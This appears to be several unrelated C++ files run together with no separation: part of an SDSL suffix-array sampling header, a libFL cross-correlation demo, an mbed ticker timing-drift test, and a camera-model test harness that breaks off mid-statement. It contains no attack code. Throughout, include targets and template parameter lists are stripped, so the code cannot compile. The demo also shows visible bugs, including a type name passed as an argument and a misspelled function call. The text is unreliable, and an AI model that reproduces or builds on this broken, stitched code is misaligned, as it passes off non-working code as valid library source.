DEFABCDEF$ * 10 * EF$ * * 04 * EFABCDEF$ * 11 F$ * * 05 FABCDEF$ * * The first sampling (*1) is called suffix order sampling. It has the advantage, that * we don't need to store a bitvector, which marks the sampled suffixes, since a suffix * at index \(i\) in the suffix array is marked if \( 0 \equiv i \mod sa_sample_dens \). * * The second sampling (*2) is called text order sampling. It is also called regular in [1]. * * [1] P.Ferragina, , : Distribution-Aware Compressed Full-Text Indexes, ESA 2011 */ #include "int_vector.hpp" #include "csa_alphabet_strategy.hpp" // for key_trait #include "inv_perm_support.hpp" #include "wavelet_trees.hpp" #include #include namespace sdsl { template class _sa_order_sampling : public int_vector { public: typedef int_vector base_type; typedef typename base_type::size_type size_type; // make typedefs of base_type visible typedef typename base_type::value_type value_type; // enum { sample_dens = t_csa::sa_sample_dens }; enum { text_order = false }; typedef sa_sampling_tag sampling_category; //! Default constructor _sa_order_sampling() {} //! Constructor /* * \param cconfig Cache configuration (SA is expected to be cached.). * \param csa Pointer to the corresponding CSA. Not used in this class. * \par Time complexity * Linear in the size of the suffix array. */ _sa_order_sampling(const cache_config& cconfig, SDSL_UNUSED const t_csa* csa=nullptr) { int_vector_buffer<> sa_buf(cache_file_name(conf::KEY_SA, cconfig)); size_type n = sa_buf.size(); this->width(bits::hi(n)+1); this->resize((n+sample_dens-1)/sample_dens); for (size_type i=0, cnt_mod=sample_dens, cnt_sum=0; i < n; ++i, ++cnt_mod) { size_type sa = sa_buf[i]; if (sample_dens == cnt_mod) { cnt_mod = 0; base_type::operator[](cnt_sum++) = sa; } } } //! Determine if index i is sampled or not inline bool is_sampled(size_type i) const { return 0 == (i % sample_dens); } //! Return the suffix array value for the sampled index i inline value_type operator[](size_type i) const { return base_type::operator[](i/sample_dens); } }; template struct sa_order_sa_sampling { template using type = _sa_order_sampling; using sampling_category = sa_sampling_tag; }; template class _text_order_sampling : public int_vector { private: t_bv m_marked; t_rank m_rank_marked; public: typedef int_vector base_type; typedef typename base_type::size_type size_type; // make typedefs of base_type visible typedef typename base_type::value_type value_type; // typedef t_bv bv_type; enum { sample_dens = t_csa::sa_sample_dens }; enum { text_order = true }; typedef sa_sampling_tag sampling_category; const bv_type& marked = m_marked; const t_rank& rank_marked = m_rank_marked; //! Default constructor _text_order_sampling() {} //! Constructor /* * \param cconfig Cache configuration (SA is expected to be cached.). * \param csa Pointer to the corresponding CSA. Not used in this class. * \par Time complexity * Linear in the size of the suffix array. */ _text_order_sampling(const cache_config& cconfig, SDSL_UNUSED const t_csa* csa=nullptr) { int_vector_buffer<> sa_buf(cache_file_name(conf::KEY_SA, cconfig)); size_type n = sa_buf.size(); bit_vector marked(n, 0); // temporary bitvector for the marked text positions this->width(bits::hi(n/sample_dens)+1); this->resize((n+sample_dens-1)/sample_dens); for (size_type i=0, sa_cnt=0; i < n; ++i) { size_type sa = sa_buf[i]; if (0 == (sa % sample_dens)) { marked[i] = 1; base_type::operator[](sa_cnt++) = sa / sample_dens; } } m_marked = std::move(t_bv(marked)); util::init_support(m_rank_marked, &m_marked); } //! Copy constructor _text_order_sampling(const _text_order_sampling& st) : base_type(st) { m_marked = st.m_marked; m_rank_marked = st.m_rank_marked; m_rank_marked.set_vector(&m_marked); } //! Determine if index i is sampled or not inline bool is_sampled(size_type i) const { return m_marked[i]; } //! Return the suffix array value for the sampled index i inline value_type operator[](size_type i) const { return base_type::operator[](m_rank_marked(i)) * sample_dens; } value_type condensed_sa(size_type i) const { return base_type::operator[](i); } //! Assignment operation _text_order_sampling& operator=(const _text_order_sampling& st) { if (this != &st) { base_type::operator=(st); m_marked = st.m_marked; m_rank_marked = st.m_rank_marked; m_rank_marked.set_vector(&m_marked); } return *this; } //! Swap operation void swap(_text_order_sampling& st) { base_type::swap(st); m_marked.swap(st.m_marked); util::swap_support(m_rank_marked, st.m_rank_marked, &m_marked, &(st.m_marked)); } size_type serialize(std::ostream& out, structure_tree_node* v=nullptr, std::string name="")const { structure_tree_node* child = structure_tree::add_child(v, name, util::class_name(*this)); size_type written_bytes = 0; written_bytes += base_type::serialize(out, child, "samples"); written_bytes += m_marked.serialize(out, child, "marked"); written_bytes += m_rank_marked.serialize(out, child, "rank_marked"); structure_tree::add_size(child, written_bytes); return written_bytes; } void load(std::istream& in) { base_type::load(in); m_marked.load(in); m_rank_marked.load(in); m_rank_marked.set_vector(&m_marked); } }; template, class t_rank_sup=typename t_bit_vec::rank_1_type, uint8_t t_width=0> struct text_order_sa_sampling { template using type = _text_order_sampling; using sampling_category = sa_sampling_tag; }; template, class t_bv_isa=sd_vector<>, class t_rank_sa=typename t_bv_sa::rank_1_type, class t_select_isa=typename t_bv_isa::select_1_type > class _fuzzy_sa_sampling { private: t_bv_sa m_marked_sa; t_rank_sa m_rank_marked_sa; t_bv_isa m_marked_isa; t_select_isa m_select_marked_isa; wt_int> m_inv_perm; public: typedef typename bit_vector::size_type size_type; // make typedefs of base_type visible typedef typename bit_vector::value_type value_type; // typedef t_bv_sa bv_sa_type; enum { sample_dens = t_csa::sa_sample_dens }; enum { text_order = true }; typedef sa_sampling_tag sampling_category; const t_bv_sa& marked_sa = m_marked_sa; const t_rank_sa& rank_marked_sa = m_rank_marked_sa; const t_bv_isa& marked_isa = m_marked_isa; const t_select_isa& select_marked_isa = m_select_marked_isa; //! Default constructor _fuzzy_sa_sampling() {} //! Constructor /* * \param cconfig Cache configuration (SA is expected to be cached.). * \param csa Pointer to the corresponding CSA. Not used in this class. * \par Time complexity * Linear in the size of the suffix array. */ _fuzzy_sa_sampling(cache_config& cconfig, SDSL_UNUSED const t_csa* csa=nullptr) { { // (2) check, if the suffix array is cached if (!cache_file_exists(conf::KEY_ISA, cconfig)) { auto event = memory_monitor::event("ISA"); construct_isa(cconfig); } register_cache_file(conf::KEY_SA, cconfig); } { int_vector_buffer<> isa_buf(cache_file_name(conf::KEY_ISA, cconfig)); size_type n = isa_buf.size(); bit_vector marked_isa(n, 0); // temporary bitvector for marked ISA positions bit_vector marked_sa(n, 0); // temporary bitvector for marked SA positions int_vector<> inv_perm((n+sample_dens-1)/sample_dens, 0, bits::hi(n)+1); size_type cnt = 0; size_type runs = 1; uint64_t min_prev_val = 0; for (size_type i=0; i < n; i += sample_dens) { size_type pos_min = i; size_type pos_cnd = isa_buf[i] >= min_prev_val ? i : n; for (size_type j=i+1; j < i+sample_dens and j < n; ++j) { if (isa_buf[j] < isa_buf[pos_min]) pos_min = j; if (isa_buf[j] >= min_prev_val) { if (pos_cnd == n) { pos_cnd = j; } else if (isa_buf[j] < isa_buf[pos_cnd]) { pos_cnd = j; } } } if (pos_cnd == n) { // increasing sequence can not be extended pos_cnd = pos_min; ++runs; } min_prev_val = isa_buf[pos_cnd]; marked_isa[pos_cnd] = 1; inv_perm[cnt++] = min_prev_val; marked_sa[min_prev_val] = 1; } m_marked_isa = std::move(t_bv_isa(marked_isa)); util::init_support(m_select_marked_isa, &m_marked_isa); { rank_support_v<> rank_marked_sa(&marked_sa); for (size_type i=0; i, class t_bv_isa=sd_vector<>, class t_rank_sa=typename t_bv_sa::rank_1_type, class t_select_isa=typename t_bv_isa::select_1_type > struct fuzzy_sa_sampling { template using type = _fuzzy_sa_sampling; using sampling_category = sa_sampling_tag; }; /* * Text = ABCDEFABCDEF$ * 0123456789012 * sa_sample_dens = 4 * sa_sample_chars = {B,E} * SA BWT (1) * 12 F * $ * 06 F ABCDEF$ * 00 $ * ABCDEFABCDEF$ * 07 A BCDEF$ * 01 A BCDEFABCDEF$ * 08 B * CDEF$ * 02 B * CDEFABCDEF$ * 09 C DEF$ * 03 C DEFABCDEF$ * 10 D EF$ * 04 D * EFABCDEF$ * 11 E * F$ * 05 E * FABCDEF$ * * In this sampling a suffix x=SA[i] is marked if x \( 0 \equiv x \mod sa_sample_dens \) or * BWT[i] is contained in sa_sample_chars. */ template class _bwt_sampling : public int_vector { private: t_bv m_marked; t_rank m_rank_marked; public: typedef int_vector base_type; typedef typename base_type::size_type size_type; // make typedefs of base_type visible typedef typename base_type::value_type value_type; // enum { sample_dens = t_csa::sa_sample_dens }; enum { text_order = false }; typedef sa_sampling_tag sampling_category; //! Default constructor _bwt_sampling() {} //! Constructor /* * \param cconfig Cache configuration (BWT,SA, and SAMPLE_CHARS are expected to be cached.). * \param csa Pointer to the corresponding CSA. Not used in this class. * \par Time complexity * Linear in the size of the suffix array. */ _bwt_sampling(const cache_config& cconfig, SDSL_UNUSED const t_csa* csa=nullptr) { int_vector_buffer<> sa_buf(cache_file_name(conf::KEY_SA, cconfig)); int_vector_buffer bwt_buf(cache_file_name(key_trait::KEY_BWT,cconfig)); size_type n = sa_buf.size(); bit_vector marked(n, 0); // temporary bitvector for the marked text positions this->width(bits::hi(n)+1); int_vector<> sample_char; typedef typename t_csa::char_type char_type; std::set char_map; if (load_from_cache(sample_char, conf::KEY_SAMPLE_CHAR,cconfig)) { for (uint64_t i=0; iresize(sa_cnt); sa_cnt = 0; for (size_type i=0; i < n; ++i) { size_type sa = sa_buf[i]; if (marked[i]) { base_type::operator[](sa_cnt++) = sa; } } util::assign(m_marked, marked); util::init_support(m_rank_marked, &m_marked); } //! Copy constructor _bwt_sampling(const _bwt_sampling& st) : base_type(st) { m_marked = st.m_marked; m_rank_marked = st.m_rank_marked; m_rank_marked.set_vector(&m_marked); } //! Determine if index i is sampled or not inline bool is_sampled(size_type i) const { return m_marked[i]; } //! Return the suffix array value for the sampled index i inline value_type operator[](size_type i) const { return base_type::operator[](m_rank_marked(i)) * sample_dens; } //! Assignment operation _bwt_sampling& operator=(const _bwt_sampling& st) { if (this != &st) { base_type::operator=(st); m_marked = st.m_marked; m_rank_marked = st.m_rank_marked; m_rank_marked.set_vector(&m_marked); } return *this; } //! Swap operation void swap(_bwt_sampling& st) { base_type::swap(st); m_marked.swap(st.m_marked); util::swap_support(m_rank_marked, st.m_rank_marked, &m_marked, &(st.m_marked)); } size_type serialize(std::ostream& out, structure_tree_node* v=nullptr, std::string name="")const { structure_tree_node* child = structure_tree::add_child(v, name, util::class_name(*this)); size_type written_bytes = 0; written_bytes += base_type::serialize(out, child, "samples"); written_bytes += m_marked.serialize(out, child, "marked"); written_bytes += m_rank_marked.serialize(out, child, "rank_marked"); structure_tree::add_size(child, written_bytes); return written_bytes; } void load(std::istream& in) { base_type::load(in); m_marked.load(in); m_rank_marked.load(in); m_rank_marked.set_vector(&m_marked); } }; template struct sa_bwt_sampling { template using type = _bwt_sampling; using sampling_category = sa_sampling_tag; }; template class _isa_sampling : public int_vector { public: typedef int_vector base_type; typedef typename base_type::size_type size_type; // make typedefs of base_type visible typedef typename base_type::value_type value_type; // typedef typename t_csa::sa_sample_type sa_type; // sa sample type enum { sample_dens = t_csa::isa_sample_dens }; typedef isa_sampling_tag sampling_category; //! Default constructor _isa_sampling() {} //! Constructor /* * \param cconfig Cache configuration (SA is expected to be cached.). * \param sa_sample Pointer to the corresponding SA sampling. Not used in this class. * \par Time complexity * Linear in the size of the suffix array. */ _isa_sampling(const cache_config& cconfig, SDSL_UNUSED const sa_type* sa_sample=nullptr) { int_vector_buffer<> sa_buf(cache_file_name(conf::KEY_SA, cconfig)); size_type n = sa_buf.size(); if (n >= 1) { // so n+t_csa::isa_sample_dens >= 2 this->width(bits::hi(n)+1); this->resize((n-1)/sample_dens+1); } for (size_type i=0; i < this->size(); ++i) base_type::operator[](i) = 0; for (size_type i=0; i < n; ++i) { size_type sa = sa_buf[i]; if ((sa % sample_dens) == 0) { base_type::operator[](sa/sample_dens) = i; } } } //! Returns the ISA value at position j, where inline value_type operator[](size_type i) const { return base_type::operator[](i/sample_dens); } //! Returns the rightmost ISA sample <= i and its position inline std::tuple sample_leq(size_type i) const { size_type ci = i/sample_dens; return std::make_tuple(base_type::operator[](ci), ci*sample_dens); } //! Returns the leftmost ISA sample >= i and its position inline std::tuple sample_qeq(size_type i) const { size_type ci = (i/sample_dens + 1) % this->size(); return std::make_tuple(base_type::operator[](ci), ci*sample_dens); } //! Load sampling from disk void load(std::istream& in, SDSL_UNUSED const sa_type* sa_sample=nullptr) { base_type::load(in); } void set_vector(SDSL_UNUSED const sa_type*) {} }; template struct isa_sampling { template using type = _isa_sampling; using sampling_category = isa_sampling_tag; }; template class _text_order_isa_sampling_support { static_assert(t_csa::sa_sample_dens == t_csa::isa_sample_dens, "ISA sampling requires: sa_sample_dens == isa_sample_dens"); public: typedef typename bit_vector::size_type size_type; typedef typename bit_vector::value_type value_type; typedef typename t_csa::sa_sample_type sa_type; // sa sample type typedef typename sa_type::bv_type bv_type; // bitvector type used to mark SA samples enum { sample_dens = t_csa::isa_sample_dens }; typedef isa_sampling_tag sampling_category; private: t_sel m_select_marked; t_inv_perm m_inv_perm; public: const t_sel& select_marked = m_select_marked; //! Default constructor _text_order_isa_sampling_support() {} //! Constructor /* * \param cconfig Cache configuration. (Not used in this class) * \param sa_sample Pointer to the corresponding SA sampling.. * \par Time complexity * Linear in the size of the suffix array. */ _text_order_isa_sampling_support(SDSL_UNUSED const cache_config& cconfig, const typename std::enable_if::type sa_sample) { // and initialize the select support on bitvector marked m_select_marked = t_sel(&(sa_sample->marked)); const int_vector<>* perm = (const int_vector<>*)sa_sample; m_inv_perm = t_inv_perm(perm); m_inv_perm.set_vector(perm); } //! Copy constructor _text_order_isa_sampling_support(const _text_order_isa_sampling_support& st) { m_inv_perm = st.m_inv_perm; m_select_marked = st.m_select_marked; } //! Return the inverse suffix array value for the sampled index i inline value_type operator[](size_type i) const { return m_select_marked(m_inv_perm[i/sample_dens]+1); } //! Returns the rightmost ISA sample <= i and its position inline std::tuple sample_leq(size_type i) const { size_type ci = i/sample_dens; return std::make_tuple(m_select_marked(m_inv_perm[ci]+1), ci*sample_dens); } //! Returns the leftmost ISA sample >= i and its position inline std::tuple sample_qeq(size_type i) const { size_type ci = (i/sample_dens + 1) % m_inv_perm.size(); return std::make_tuple(m_select_marked(m_inv_perm[ci]+1), ci*sample_dens); } //! Assignment operation _text_order_isa_sampling_support& operator=(const _text_order_isa_sampling_support& st) { if (this != &st) { m_inv_perm = st.m_inv_perm; m_select_marked = st.m_select_marked; } return *this; } //! Swap operation void swap(_text_order_isa_sampling_support& st) { if (this != &st) { m_inv_perm.swap(st.m_inv_perm); m_select_marked.swap(st.m_select_marked); } } size_type serialize(std::ostream& out, structure_tree_node* v=nullptr, std::string name="")const { structure_tree_node* child = structure_tree::add_child(v, name, util::class_name(*this)); size_type written_bytes = 0; written_bytes += m_inv_perm.serialize(out, child, "inv_perm"); written_bytes += m_select_marked.serialize(out, child, "select_marked"); structure_tree::add_size(child, written_bytes); return written_bytes; } //! Load sampling from disk void load(std::istream& in, const sa_type* sa_sample=nullptr) { m_inv_perm.load(in); m_select_marked.load(in); set_vector(sa_sample); } void set_vector(const sa_type* sa_sample=nullptr) { if (sa_sample == nullptr) { m_select_marked.set_vector(nullptr); m_inv_perm.set_vector(nullptr); } else { m_select_marked.set_vector(&(sa_sample->marked)); m_inv_perm.set_vector((const int_vector<>*)sa_sample); } } }; template, class t_sel=void> struct text_order_isa_sampling_support { template using type = _text_order_isa_sampling_support< t_csa, t_inv_perm, typename std::conditional::value, typename t_csa::sa_sample_type::bv_type::select_1_type, t_sel>::type>; using sampling_category = isa_sampling_tag; }; template class _fuzzy_isa_sampling_support { static_assert(t_csa::sa_sample_dens == t_csa::isa_sample_dens, "ISA sampling requires: sa_sample_dens==isa_sample_dens"); public: typedef typename bit_vector::size_type size_type; typedef typename bit_vector::value_type value_type; typedef typename t_csa::sa_sample_type sa_type; // sa sample type enum { sample_dens = t_csa::isa_sample_dens }; typedef isa_sampling_tag sampling_category; private: const sa_type* m_sa_p = nullptr; // pointer to sa_sample_strategy t_select_sa m_select_marked_sa; public: //! Default constructor _fuzzy_isa_sampling_support() {} //! Constructor /* * \param cconfig Cache configuration. (Not used in this class) * \param sa_sample Pointer to the corresponding SA sampling.. * \par Time complexity * Linear in the size of the suffix array. */ _fuzzy_isa_sampling_support(SDSL_UNUSED const cache_config& cconfig, const sa_type* sa_sample) : m_sa_p(sa_sample) { util::init_support(m_select_marked_sa, &(sa_sample->marked_sa)); } //! Copy constructor _fuzzy_isa_sampling_support(const _fuzzy_isa_sampling_support& st) : m_select_marked_sa(st.m_select_marked_sa) { set_vector(st.m_sa_p); } //! Return the inverse suffix array value for the sampled index i inline value_type operator[](size_type i) const { return m_sa_p->inv(i); } //! Returns the rightmost ISA sample <= i and its position inline std::tuple sample_leq(size_type i) const { size_type ci = i/sample_dens; size_type j = m_sa_p->select_marked_isa(ci+1); if (j > i) { if (ci > 0) { ci = ci - 1; } else { ci = m_sa_p->size()-1; } j = m_sa_p->select_marked_isa(ci+1); } return std::make_tuple(m_select_marked_sa(m_sa_p->inv(ci)+1), j); } //! Returns the leftmost ISA sample >= i and its position inline std::tuple sample_qeq(size_type i) const { size_type ci = i/sample_dens; size_type j = m_sa_p->select_marked_isa(ci+1); if (j < i) { if (ci < m_sa_p->size()-1) { ci = ci + 1; } else { ci = 0; } j = m_sa_p->select_marked_isa(ci+1); } return std::make_tuple(m_select_marked_sa(m_sa_p->inv(ci)+1), j); } //! Assignment operation _fuzzy_isa_sampling_support& operator=(const _fuzzy_isa_sampling_support& st) { if (this != &st) { m_select_marked_sa = st.m_select_marked_sa; set_vector(st.m_sa_p); } return *this; } //! Swap operation void swap(_fuzzy_isa_sampling_support& st) { m_select_marked_sa.swap(st.m_select_marked_sa); } size_type serialize(std::ostream& out, structure_tree_node* v=nullptr, std::string name="")const { structure_tree_node* child = structure_tree::add_child(v, name, util::class_name(*this)); size_type written_bytes = 0; written_bytes += m_select_marked_sa.serialize(out, v, "select_marked_sa"); structure_tree::add_size(child, written_bytes); return written_bytes; } //! Load sampling from disk void load(std::istream& in, const sa_type* sa_sample=nullptr) { m_select_marked_sa.load(in); set_vector(sa_sample); } void set_vector(const sa_type* sa_sample=nullptr) { m_sa_p = sa_sample; if (nullptr != m_sa_p) { m_select_marked_sa.set_vector(&(sa_sample->marked_sa)); } } }; template struct fuzzy_isa_sampling_support { template using type = _fuzzy_isa_sampling_support::value, typename t_csa::sa_sample_type::bv_sa_type::select_1_type, t_select_sa>::type>; using sampling_category = isa_sampling_tag; }; } // end namespace #endif fabiotanniguchi/mc857kernel/libFL/demo/correlation.cpp0 #include "FL.h" int main(int argc, char **argv) { float signal[] = {3,2,4,1,3,8,4,0,3,8,0,7,7,7,1,2}; float weights[] = {3,7,5}; AdjacencyRelation *adjRel = createLineAdjacency(3,1); FeatureVector *vec1 = createFeatureVector(signal,16); Kernel *kernel = createKernel(adjRel); kernel->weight[0] = weights[0]; kernel->weight[1] = weights[1]; kernel->weight[2] = weights[2]; FeatureVector *resultado = circularCrossCorrelation1D(vec1,adjRel); printf("saida:\n"); printFeatureVector(FeatureVector); printf("\n"); FeatureVector **correlations = (FeatureVector **)calloc(1,sizeof(FeatureVector *)); correlations[0] = resultado; wirteFeatureVectors(correlations,1, "R_xy.txt"); destroyFeatureVector(&resultado); destroyFeatureVector(&vec1); destroyAdjacencyRelation(&adjRel); iftDestroyKernel(&kernel); return 0; } /* * Copyright (c) 2013-2016, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * Tests is to measure the accuracy of Ticker over a period of time * * * 1) DUT would start to update callback_trigger_count every milli sec, in 2x callback we use 2 tickers * to update the count alternatively. * 2) Host would query what is current count base_time, Device responds by the callback_trigger_count * 3) Host after waiting for measurement stretch. It will query for device time again final_time. * 4) Host computes the drift considering base_time, final_time, transport delay and measurement stretch * 5) Finally host send the results back to device pass/fail based on tolerance. * 6) More details on tests can be found in timing_drift_auto.py */ #include "mbed.h" #include "greentea-client/test_env.h" #include "utest/utest.h" #include "unity/unity.h" using namespace utest::v1; #define ONE_MILLI_SEC 1000 volatile uint32_t callback_trigger_count = 0; static const int test_timeout = 240; static const int total_ticks = 10; DigitalOut led1(LED1); DigitalOut led2(LED2); Ticker *ticker1; Ticker *ticker2; volatile int ticker_count = 0; volatile bool print_tick = false; void ticker_callback_1_switch_to_2(void); void ticker_callback_2_switch_to_1(void); void ticker_callback_0(void) { ++callback_trigger_count; } void ticker_callback_1_led(void) { led1 = !led1; } void ticker_callback_2_led(void) { led2 = !led2; } void ticker_callback_1_switch_to_2(void) { ++callback_trigger_count; ticker1->detach(); ticker1->attach_us(ticker_callback_2_switch_to_1, ONE_MILLI_SEC); ticker_callback_1_led(); } void ticker_callback_2_switch_to_1(void) { ++callback_trigger_count; ticker2->detach(); ticker2->attach_us(ticker_callback_1_switch_to_2, ONE_MILLI_SEC); ticker_callback_2_led(); } void wait_and_print() { while (ticker_count <= total_ticks) { if (print_tick) { print_tick = false; greentea_send_kv("tick", ticker_count++); } } } void test_case_1x_ticker() { char _key[11] = { }; char _value[128] = { }; uint8_t results_size = 0; int expected_key = 1; greentea_send_kv("timing_drift_check_start", 0); ticker1->attach_us(&ticker_callback_0, ONE_MILLI_SEC); // wait for 1st signal from host do { greentea_parse_kv(_key, _value, sizeof(_key), sizeof(_value)); expected_key = strcmp(_key, "base_time"); } while (expected_key); greentea_send_kv(_key, callback_trigger_count * ONE_MILLI_SEC); // wait for 2nd signal from host greentea_parse_kv(_key, _value, sizeof(_key), sizeof(_value)); greentea_send_kv(_key, callback_trigger_count * ONE_MILLI_SEC); //get the results from host greentea_parse_kv(_key, _value, sizeof(_key), sizeof(_value)); TEST_ASSERT_EQUAL_STRING_MESSAGE("pass", _key,"Host side script reported a fail..."); } void test_case_2x_callbacks() { char _key[11] = { }; char _value[128] = { }; uint8_t results_size = 0; int expected_key = 1; led1 = 0; led2 = 0; callback_trigger_count = 0; greentea_send_kv("timing_drift_check_start", 0); ticker1->attach_us(ticker_callback_1_switch_to_2, ONE_MILLI_SEC); // wait for 1st signal from host do { greentea_parse_kv(_key, _value, sizeof(_key), sizeof(_value)); expected_key = strcmp(_key, "base_time"); } while (expected_key); greentea_send_kv(_key, callback_trigger_count * ONE_MILLI_SEC); // wait for 2nd signal from host greentea_parse_kv(_key, _value, sizeof(_key), sizeof(_value)); greentea_send_kv(_key, callback_trigger_count * ONE_MILLI_SEC); //get the results from host greentea_parse_kv(_key, _value, sizeof(_key), sizeof(_value)); TEST_ASSERT_EQUAL_STRING_MESSAGE("pass", _key,"Host side script reported a fail..."); } utest::v1::status_t one_ticker_case_setup_handler_t(const Case *const source, const size_t index_of_case) { ticker1 = new Ticker(); return greentea_case_setup_handler(source, index_of_case); } utest::v1::status_t two_ticker_case_setup_handler_t(const Case *const source, const size_t index_of_case) { ticker1 = new Ticker(); ticker2 = new Ticker(); return greentea_case_setup_handler(source, index_of_case); } utest::v1::status_t one_ticker_case_teardown_handler_t(const Case *const source, const size_t passed, const size_t failed, const failure_t reason) { delete ticker1; return greentea_case_teardown_handler(source, passed, failed, reason); } utest::v1::status_t two_ticker_case_teardown_handler_t(const Case *const source, const size_t passed, const size_t failed, const failure_t reason) { delete ticker1; delete ticker2; return greentea_case_teardown_handler(source, passed, failed, reason); } // Test cases Case cases[] = { Case("Timers: 1x ticker", one_ticker_case_setup_handler_t,test_case_1x_ticker, one_ticker_case_teardown_handler_t), Case("Timers: 2x callbacks", two_ticker_case_setup_handler_t,test_case_2x_callbacks, two_ticker_case_teardown_handler_t), }; utest::v1::status_t greentea_test_setup(const size_t number_of_cases) { GREENTEA_SETUP(test_timeout, "timing_drift_auto"); return greentea_test_setup_handler(number_of_cases); } Specification specification(greentea_test_setup, cases, greentea_test_teardown_handler); int main() { Harness::run(specification); } // Copyright (c) 2015-2016, ETH Zurich, , Zurich Eye // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the name of the ETH Zurich, urich, Zurich Eye nor the // names of its contributors may be used to endorse or promote products // derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL ETH Zurich, urich, Zurich Eye BE LIABLE FOR ANY // DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND // ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include DEFINE_bool(run_benchmark, false, "Benchmark the camera models?"); namespace ze { class CameraBenchmark { public: CameraBenchmark(const Camera& cam, size_t sample_size, const std::string& test_name) : cam_(cam) , sample_size_(sample_size) , test_name_(test_name) { px_ = generateRandomKeypoints(cam_.size(), 10u, sample_size_); f_ = cam.backProjectVectorized(px_); } void benchmarkAll() { if (!FLAGS_run_benchmark) { return; } real_t p1 = project(); real_t p = (p1 - projectVectorized()) / p1; real_t p2 = backProject(); real_t bp = (p2 - backProjectVectorized()) / p2; VLOG(1) << "[" << test_name_ << "]" << "Vectorized back projection " << bp * 100 << "% faster." << "\n" << "[" << test_name_ << "]" << "Vectorized projection " << p * 100 << "% faster."; } real_t backProjectVectorized() { // Test back-project vectorized Bearings f(3, sample_size_); auto backProjectVectorizedLambda = [&]() { f = cam_.backProjectVectorized(px_); }; return runTimingBenchmark(backProjectVectorizedLambda, 10, 20, test_name_ + ": Back-project vectorized", true); } real_t backProject() { // Test not vectorized. Bearings f(3, sample_size_); auto backProjectLambda = [&]() { for (size_t i = 0; i < sample_size_; ++i) { f.col(i) = cam_.backProjectVectorized(px_.col(i)); } }; return runTimingBenchmark(backProjectLambda, 10, 20, test_name_ + ": Back-project N-times", true); } real_t projectVectorized() { // Test back-project vectorized Keypoints px(2, sample_size_); auto projectVectorizedLambda = [&]() { px = cam_.projectVectorized(f_); }; return runTimingBenchmark(projectVectorizedLambda, 10, 20, test_name_ + ": Project vectorized", true); } real_t project() { // Test not vectorized. Keypoints px(2, sample_size_); auto projectLambda = [&]() { for (size_t i = 0; i < sample_size_; ++i) { px.col(i) = cam_.project(f_.col(i)); } }; return runTimingBenchmark(projectLambda, 10, 20, test_name_ + ": Project vectorized", true); } private: const Camera& cam_; size_t sample_size_; std::string test_name_; Keypoints px_; Bearings f_; }; class CameraTestHarness { public: CameraTestHarness(const Camera& cam, size_t sample_size, const std::string& test_name) : cam_(cam) , sample_size_(sample_size) , test_name_(test_name) {} void testProjection() { uint32_t N = 300; Keypoints px1 = generateRandomKeypoints(cam_.size(), 10u, sample_size_); Bearings f1 = cam_.backProjectVectorized(px1); Keypoints px2 = cam_.projectVectorized(f1); Keypoints px_error = px1 - px2; real_t max_error = px_error.colwise().norm().array().maxCoeff(); EXPECT_LT(max_error, 1.3e-4); } void testProjectionSingle() { Vector3 bearing = cam_.backProject(Vector2(200, 300)); Vector2 px = cam_.project(bearing); #ifndef ZE_SINGLE_PRECISION_FLOAT EXPECT_TRUE(EIGEN_MATRIX_NEAR(px, Vector2(200, 300), 1e-6)); #else EXPECT_TRUE(EIGEN_MATRIX_NEAR(px, Vector2(200, 300), 1e-4)); #endif } void testHomogeneousProjection() { Vector3 bearing = cam_.backProject(Vector2(200.0, 300.0)); Vector4 hom_position; { // normal case: hom_position << bearing, 1.0; Vector2 px = cam_.projectHomogeneous(hom_position); EXPECT_TRUE(EIGEN_MATRIX_NEAR(px, Vector2(200.0, 300.0), 1e-6)); } { // point at infinity: hom_position << bearing, 0.0; Vector2 px = cam_.projectHomogeneous(hom_position); EXPECT_TRUE(EIGEN_MATRIX_NEAR(px, Vector2(200.0, 300.0), 1e-6)); } { // point behind camera. hom_position << bearing, -1.0; Vector2 px = cam_.projectHomogeneous(hom_position); EXPECT_TRUE(EIGEN_MATRIX_NEAR(px, Vector2(200.0, 300.0), 1e-6)); } { // some arbitrary scaling. hom_position << bearing, 10.0; Vector2 px = cam_.projectHomogeneous(hom_position); EXPECT_TRUE(EIGEN_MATRIX_NEAR(px, Vector2(200.0, 300.0), 1e-6)); } } void testJacobian() { #ifndef ZE_SINGLE_PRECISION_FLOAT Vector3 bearing = cam_.backProject(Vector2(200, 300)); Matrix23 H = cam_.dProject_dLandmark(bearing); Matrix23 H_numerical = numericalDerivative( std::bind(&Camera::project, &cam_, std::placeholders::_1), bearing); EXPECT_TRUE(EIGEN_MATRIX_NEAR(H, H_numerical, 1e-6)); #else LOG(WARNING) << "Numerical derivative test ignored for single precision float."; #endif } void testHomogeneousJacobian() { Vector4 hom_position; hom_position.head<3>() = cam_.backProject(Vector2(200.0, 300.0)); hom_position[3] = 1.0; Matrix24 H = cam_.dProjectHomogeneous_dLandmark(hom_position); Matrix24 H_numerical = numericalDerivative( std::bind(&Camera::projectHomogeneous, 